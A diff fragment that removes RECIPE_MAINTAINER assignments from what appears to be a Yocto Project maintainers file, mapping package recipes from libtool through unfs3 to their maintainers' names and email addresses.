-RECIPE_MAINTAINER_pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-liburcu = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-liburi-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libvorbis = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libx11 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxau = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcomposite = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcursor = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdamage = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdmcp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxext = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfixes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxft = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxi = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxinerama = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbcommon = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbfile = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxml-namespacesupport-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-parser-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-base-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-simple-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libxmu = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxpm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrender = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxres = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxscrnsaver = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxshmfence = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libxt = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxtst = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxv = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxvmc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxxf86vm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libyaml = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-llvm = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-lsof = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lz4 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzo = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzop = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-make = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-matchbox-config-gtk = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-desktop = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-keyboard = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-panel-2 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-session = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-session-sato = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-terminal = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-theme-sato = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-matchbox-wm = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-mc = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-mdadm = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-menu-cache = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mini-x-session = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mkfontdir = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-mkfontscale = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-mklibs-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-msmtp = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-mtd-utils = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-musl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mx-1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-newlib = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-net-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-netbase = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nettle = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ninja = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nspr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nss = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-ofono = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-opensbi = "Alistair Francis <alistair.francis@wdc.com>"
-RECIPE_MAINTAINER_pn-openssh = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-opkg = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-arch-config = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-keyrings = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-utils = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-os-release = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-ovmf = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-ovmf-shell-image = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-package-index = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pango = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-pbzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-perl-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-piglit = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-pinentry = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-pkgconf = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pkgconfig = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pm-utils = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-prelink = "Mark Hatle <mark.hatle@windriver.com>"
-RECIPE_MAINTAINER_pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pseudo = "Mark Hatle <mark.hatle@windriver.com>"
-RECIPE_MAINTAINER_pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-ptest-runner = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-pulseaudio = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-pulseaudio-client-conf-sato = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-python = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python-native = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3 = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-async = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-dbus = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-docutils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-extras = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-file-utils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-git = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-gitdb = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-iniparse = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-mako = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-native = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-nose = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-numpy = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pbr = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pip = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pycairo = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pygments = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pygobject = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-scons = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-scons-native = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-six = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-smmap = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-subunit = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-testtools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-re2c = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-rgb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-rpm = "Mark Hatle <mark.hatle@windriver.com>"
-RECIPE_MAINTAINER_pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ruby = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-run-postinsts = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-rxvt-unicode = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-sato-screenshot = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-sbc = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-speex = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-speexdsp = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-sysprof = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemtap = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-native = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-uprobes = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-sysvinit = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-sysvinit-inittab = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-texi2html = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-time = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tzcode-native = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-tzdata = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot-fw-utils = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-udev-extraconf = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-unfs3 = "Ross Burton <ross.burton@intel.com>"
